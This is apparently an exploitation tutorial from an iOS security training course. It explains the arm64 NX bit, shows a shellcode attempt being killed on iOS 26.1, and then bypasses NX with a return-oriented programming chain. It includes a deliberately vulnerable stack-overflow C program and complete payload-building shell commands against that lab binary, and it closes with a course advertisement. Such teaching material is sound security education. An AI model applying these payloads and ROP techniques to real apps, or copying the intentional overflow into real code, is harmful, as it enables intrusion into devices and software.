Say you have found a memory corruption bug in an iOS app and you can control where execution goes next. What do you point it at?

Of course, you would want to execute your own shellcode. Historically that was the whole job: place your machine code into a buffer the program already holds, then point execution at it. Modern exploitation is far more involved. A stack of security features now sits between a memory corruption bug and code execution, each designed to break a different step of that plan. ASLR randomises where everything is loaded, so you no longer know the address to jump to. Stack canaries detect a smashed frame before the function returns. Code signing decides which code is allowed to run at all. Pointer authentication signs return addresses so they cannot be forged.

This article is about the NX bit, the one that stops the plan above at its final step. NX is a permission bit in the arm64 page tables that marks a page as non-executable, so the processor refuses to fetch instructions from it. Your shellcode still lands in the buffer, execution still arrives at it, and the fetch fails. We will look at how NX is expressed on arm64, watch it kill a shellcode exploit on a device running iOS 26.1, and then bypass it with a return-oriented programming chain that runs code the process already had mapped.

To follow along you need a jailbroken iOS device, a Mac with Xcode, and ldid for signing. Reading the disassembly needs enough arm64 to recognise a function prologue.

You will want two SSH sessions to the device open: one to run the program, one to build the payload while it waits.

No jailbroken device at hand? If you are subscribed to our iOS Userland Fuzzing & Exploitation course, the jailbroken devices we provide run the latest iOS and are already set up for exactly this kind of work.

The NX bit

A CPU fetching instructions and a CPU reading data are doing the same thing to the same memory. Early processors made no distinction at all: a page you could read was a page you could execute, and whether some bytes were "code" or "data" existed only in the programmer's head.

Stack shellcode came out of that. You send machine code as input, the program stores it in a buffer, you redirect execution into the buffer, and the processor runs it. To the processor those bytes look like every other byte in memory.

Hardware vendors answered with a permission flag in the page tables that says whether instructions may be fetched from a page. AMD shipped it in 2003 as NX, no-execute. Intel calls it XD, execute-disable. ARM has carried execute-never bits since ARMv6. They all do the same job: memory divides into pages you can write and pages you can execute, and each page gets one role.

That split leaves injected code nowhere to live. Your shellcode still reaches the buffer and execution still arrives at it. The fetch is where it stops, and the process dies there.

What it looks like on arm64

On AArch64 the permission lives in each page's translation table entry. Two bits control it: UXN, unprivileged execute-never, covering EL0 where apps run, and PXN, privileged execute-never, covering the kernel. With UXN set, an instruction fetch from that page faults regardless of what the read and write permissions allow.

The decision is visible in the binary before anything runs. Mach-O segments carry two permission masks, and the linker fills them in:

segmentinitprotmaxprot
__PAGEZERO------
__TEXTr-xr-x
__DATA_CONSTrw-rw-
__DATArw-rw-
__LINKEDITr--r--

__TEXT, the code, is r-x: readable, executable, never writable. __DATA is rw-: writable, never executable. The stack and heap are treated like __DATA.

The second column matters as much as the first. initprot is what the segment is mapped with; maxprot is the ceiling it could ever be raised to. __TEXT is capped at r-x, so nothing later can make the code writable, and __DATA is capped at rw-, so nothing can make your data executable.

iOS adds a second layer on top. An executable page must be backed by hashes in a valid code signature, which anonymous memory never has. Even where the virtual memory system would allow a permission change, code signing enforcement kills the process when the CPU tries to fetch. The one supported exception is MAP_JIT, which requires the dynamic-codesigning entitlement and exists so JavaScriptCore can work. An App Store app does not get it.

Both layers show up by name later, in the same crash report.

How it works

Let's understand it with a small program. It copies as many bytes as it is handed into a 64-byte stack buffer and never checks the length.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static int unlocked = 0;

void grant_access(void) {
    unlocked = 1;
    puts("[+] grant_access() called: unlocked = 1");
}

void show_flag(void) {
    if (unlocked)
        puts("[+] MHL{rop_on_arm64_is_just_bookkeeping}");
    else
        puts("[-] locked");
}

void handle(void) {
    char buf[64];
    printf("[*] buf is at %p\n", (void *)buf);
    puts("[*] write your payload to /tmp/payload, then press enter");
    getchar();

    char *input = malloc(4096);
    FILE *f = fopen("/tmp/payload", "rb");
    if (!f) { perror("fopen"); exit(1); }
    size_t n = fread(input, 1, 4096, f);
    fclose(f);

    memcpy(buf, input, n);          // no bounds check
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[*] handle() is at %p\n", (void *)&handle);
    handle();
    puts("[*] done");
    return 0;
}

grant_access and show_flag give us something worth reaching. A normal run only ever executes handle.

Two printf calls hand out addresses. iOS is PIE with no opt-out, so a real exploit needs an address leak first, and obtaining one is its own discipline: out-of-bounds reads, pointers in error strings, uninitialised fields handed back to a caller. Printing them here keeps the article on ROP. The program prints them and then waits, so you can read the addresses off the screen and build the payload against them by hand.

Build it for the device, sign it, copy it over:

xcrun -sdk iphoneos clang -arch arm64 -miphoneos-version-min=16.0 \
ldid -S vulnserver.ios
scp vulnserver.ios mobile@device:~/roplab/

-fno-stack-protector and -D_FORTIFY_SOURCE=0 switch off the stack cookie and the bounds-checked memcpy. Both are separate mitigations with separate defeats, and keeping them on would turn this into an article about cookie leaks. PIE, ASLR, NX and code signing stay as iOS ships them.

Finding the return address

Before writing a payload there is a question x86 never forces you to ask: what exactly are we overwriting?

On x86-64 the call instruction pushes the return address onto the stack, so it sits at a predictable offset in every frame. arm64 keeps it in a register: bl writes the return address into x30, and ret branches to whatever x30 holds. A function that calls nothing leaves it in that register for its whole lifetime, so an overflow inside one has nothing on the stack to overwrite.

x30 reaches the stack only when a function makes calls of its own, and then the compiler spills it in the prologue. Where it lands is the compiler's decision, so read it off the disassembly:

objdump -d --macho vulnserver.ios | sed -n '/^_handle:/,/^_main:/p'
objdump -d --macho vulnserver.ios | sed -n '/^_handle:/,/^_main:/p'

Four instructions give us the layout:

  • sub sp, sp, #0x70 allocates a 0x70-byte frame.
  • stp x29, x30, [sp, #0x60] stores the frame pointer at sp+0x60 and the return address at sp+0x68. Both sit above the locals, not below them the way x86's saved frame pointer does.
  • add x8, sp, #0x20 computes buf, so the buffer starts at sp+0x20.
  • ldp x29, x30, [sp, #0x60] reads both back, add sp, sp, #0x70 unwinds the frame, and ret branches wherever x30 now points.

Counting from the start of buf:

   buf + 0   ..  +63    the 64-byte buffer
   buf + 64             saved x29
   buf + 72             saved x30    <- what ret branches to
   buf + 80             where sp points after the epilogue

Attempt one: shellcode

The program prints where buf lives and then waits, which gives us the address before we have to commit to a payload. Run it in the first SSH session:

./vulnserver.ios
./vulnserver.ios

Now build the payload in the second session. Everything up to offset 64 is filler, the next eight bytes land on the saved x29, and the eight after that are the saved x30. Our shellcode is mov x0, #42 ; ret, assembled as d2800540 d65f03c0 and written little-endian byte by byte:

printf '\x40\x05\x80\xd2\xc0\x03\x5f\xd6' > /tmp/payload
printf 'A%.0s' {1..56} >> /tmp/payload
printf '\x00\x00\x00\x00\x00\x00\x00\x00' >> /tmp/payload
printf '\x80\x72\x95\x6d\x01\x00\x00\x00' >> /tmp/payload
cat /tmp/payload

The last line is the address buf was printed at, written low byte first, which is how arm64 stores pointers. Use the address from your own run: the stack moves on every execution, so a value copied from this page will not work. printf writes raw bytes for \xNN, so the file ends up 80 bytes long: 8 of shellcode, 56 of padding, 8 of zero, and the 8-byte address.

The payload is harmless on purpose. It sets a register and returns. The question is whether the processor will fetch it at all.

Back in the first session, press enter:

the shellcode attempt is killed

The address was right, so the payload landed where we aimed it. The process still died. 137 is 128 + 9, SIGKILL, so the kernel terminated it.

Reading the crash report

When an application crashes, iOS writes a report to /var/mobile/Library/Logs/CrashReporter/. Ours is there, and it names both layers.

ls -t /var/mobile/Library/Logs/CrashReporter/vulnserver*.ips | head -1

The .ips format is two JSON documents separated by a newline, a short header then the report. The fields that matter:

the crash report: KERN_PROTECTION_FAILURE, CODESIGNING / Invalid Page, stack rw-

pc and lr both equal the address we jumped to. The overflow landed, the saved x30 carried our value, and the ret branched where we aimed it. Execution reached the buffer. The fetch of the first instruction there is where it stopped.

KERN_PROTECTION_FAILURE. The page is mapped and present, and the kernel refused the access on permissions. An unmapped address would have produced KERN_INVALID_ADDRESS here instead.

Stack ... rw-/rwx. The NX bit, in the kernel's own region map. Our stack is readable, writable, and not executable. The rwx after the slash is maxprot, the ceiling; initprot on the left is what the hardware enforces, and it carries no x.

termination: CODESIGNING / Invalid Page. The second layer, and the reason for the SIGKILL. iOS treats a fetch from an unsigned page as a code signing violation and terminates the process.

Two independent refusals, from two subsystems, for one instruction fetch.

Getting around it

Read the crash report again for what it refused: an instruction fetch from that page. The overflow, the corrupted return address and the branch all went through.

That leaves an opening, because the process is full of pages it will happily fetch from. __TEXT is mapped r-x and signed. So is every system library. All of that code was executable before our input arrived and stays executable after.

NX stops you introducing new code. It says nothing about existing code.

We control x30, so we can branch anywhere in the process. The chain points at code that is already mapped, and since no single function does what we want, it points at several of them in turn.

This is return-oriented programming. NX blocks code injection, and code reuse sits outside what it was built to stop.

Why the direct approach hangs

The first instinct is to put grant_access in the saved x30 and stop there. On arm64 that runs once and then hangs, for a reason that shapes every chain you write afterwards.

When handle executes ret, pc becomes grant_access, and x30 still contains grant_access too, because a ret does not update x30 the way a bl does. Look at what the function does with it:

objdump -d --macho vulnserver.ios | sed -n '/^_grant_access:/,/^_show_flag:/p'
objdump -d --macho vulnserver.ios | sed -n '/^_grant_access:/,/^_show_flag:/p'

The prologue pushes x29 and x30, saving the value grant_access. The epilogue pops them back, so x30 becomes grant_access again and ret jumps to the top of the same function, over and over.

On x86 this cannot happen, because ret pops the next address off the stack as part of the instruction and the chain advances by itself. On arm64 ret reads a register, so the chain advances only if something reloads that register from memory we control.

Every gadget in an arm64 chain must reload x30 from the stack, or the chain stops moving.

The sequence that does it is the last two lines above:

ldp x29, x30, [sp], #0x10 ; ret

Load x29 and x30 off the stack, step sp past them, branch to the new x30. Every non-leaf function ends in some version of this, which is what makes chains possible at all.

Skipping the prologue

The prologue is what saves x30; the epilogue is what we want. Enter one instruction later, at grant_access+4, and we get the restore without the save. The function's own epilogue becomes a gadget that reads our stack.

On arm64, entering a function one instruction past its prologue converts its epilogue into a chain link. It costs nothing when the prologue is a single stp, and it works on show_flag for the same reason.

A simple ROP chain

Three stages: grant_access to set the flag, show_flag to print the secret, then exit so the process finishes cleanly instead of crashing. Counting from buf:

   buf + 0   ..  +63    filler
   buf + 64             saved x29
   buf + 72             saved x30   ->  grant_access+4
   buf + 80             x29, discarded
   buf + 88             x30         ->  show_flag+4
   buf + 96             x29, discarded
   buf + 104            x30         ->  exit

Every stage consumes 16 bytes and hands the next one a stack pointer aimed at its own data. This is why buf+80 mattered in the frame layout: after the epilogue the stack pointer lands back inside our own overflow, so everything past offset 80 is chain data waiting to be read.

The addresses are PIE-relative, so each one is a fixed offset plus the slide. Start the program again and note the handle() address:

./vulnserver.ios

handle sits at 0x100004068 in the file, so the slide is the printed address minus that. Set HANDLE to the address your own run printed: it changes on every execution, and a stale value sends the chain somewhere unmapped and gets the process killed the same way the shellcode was. In the second session, a small shell function writes a 64-bit value low byte first, and the rest is arithmetic:

le64() { for i in 0 1 2 3 4 5 6 7; do printf '%b' "\\x$(printf %02x $(( ($1 >> (8*i)) & 0xff )))"; done; }
HANDLE=0x1003b4068              # the address we got from running the binary
SLIDE=$(( HANDLE - 0x100004068 ))
printf 'A%.0s' {1..64}        >  /tmp/payload
le64 0                          >> /tmp/payload
le64 $(( 0x100004004 + SLIDE )) >> /tmp/payload
le64 0                          >> /tmp/payload
le64 $(( 0x10000402c + SLIDE )) >> /tmp/payload
le64 0                          >> /tmp/payload
le64 $(( 0x10000418c + SLIDE )) >> /tmp/payload

0x100004004 is grant_access+4, 0x10000402c is show_flag+4, and 0x10000418c is the exit stub, all read out of objdump. That gives a 112-byte file. Press enter in the first session:

the ROP chain runs

Two functions called in an order the program does not allow, on a PIE binary with a randomised slide, on iOS 26.1, with a non-executable stack and code signing killing anything unsigned.

Put the two attempts side by side. Same bug, same overflow, same leaked addresses, one value different:

saved x30 points atResult
Shellcodeour buffer, on the stackSIGKILL, CODESIGNING / Invalid Page
ROPgrant_access+4, in __TEXTruns, then exit()

Every address in the chain points into pages that carried the execute bit before our input arrived, so the chain asks the kernel for nothing.

Finding gadgets in a real target

Two hand-picked epilogues were enough here because we already knew which functions we wanted. On a real target you have to search for them, and arm64 makes that search unusually clean: instructions are all 4 bytes and 4-byte aligned, so decoding always starts on an instruction boundary. Every gadget you find is a sequence the compiler emitted, which rules out the unintended gadgets that x86 exploitation leans on.

The search is exact and the yield is small. In a binary this size, grep is enough:

objdump -d --macho vulnserver.ios | grep -A1 "ldp.*x29, x30"
objdump -d --macho vulnserver.ios | grep -A1 "ldp.*x29, x30"

Four sites, of which the first two are the ldp ... ; ret shape the chain uses.

Two things change on a real app. The first is scale. An app binary is megabytes of code rather than a few hundred bytes, and one grep pattern only finds one shape. Any chain that does more than call two functions needs several others, so you move to a tool that decodes instructions rather than matching text: ropper and ROPgadget both read Mach-O arm64.

The second is where you point it. An app's own binary is compiled arm64, so its epilogues end in a plain ret and the saved x30 is a number on the stack, exactly as it is here. The system libraries in the shared cache are arm64e: their prologues sign the return address with pacibsp and their epilogues return through retab, which fails on a value you forged. That splits a current device in half, and the app's own code is the half that still works.

Where this goes next

The chain here is small. It calls two functions that take no arguments, in a binary whose addresses we read straight out of objdump. Real targets ask harder questions:

  • Controlling arguments. arm64 has no equivalent of pop rdi. Arguments live in x0–x7, which are caller-saved, so no epilogue ever restores them. You go through the callee-saved registers instead and move them into place, roughly two gadgets per argument.
  • Calling without losing the chain. Returning into a function leaves x30 pointing at that function, the same trap as before. You need a blr whose fallthrough is an epilogue.
  • Getting the leak in the first place. We printed ours. Real ones have to be found.
  • Working around pointer authentication on the parts of the address space that do sign their pointers, and the data-only attacks that sidestep signing by never forging a code pointer.

// iOS Userland Fuzzing & Exploitation

We work through all of these techniques against real applications in our iOS Userland Fuzzing & Exploitation course: argument control, blr gadgets, leak primitives, pointer authentication, and data-only attacks.

  • AFL++ and LibAFL fuzzing of native iOS components
  • 0-click exploit development on real iOS devices
  • Jailbroken devices running the latest iOS provided to subscribers
  • 72-hour practical exam for the Certified iOS Exploit Developer (CIED) certification, unlimited retakes included
Explore the Course →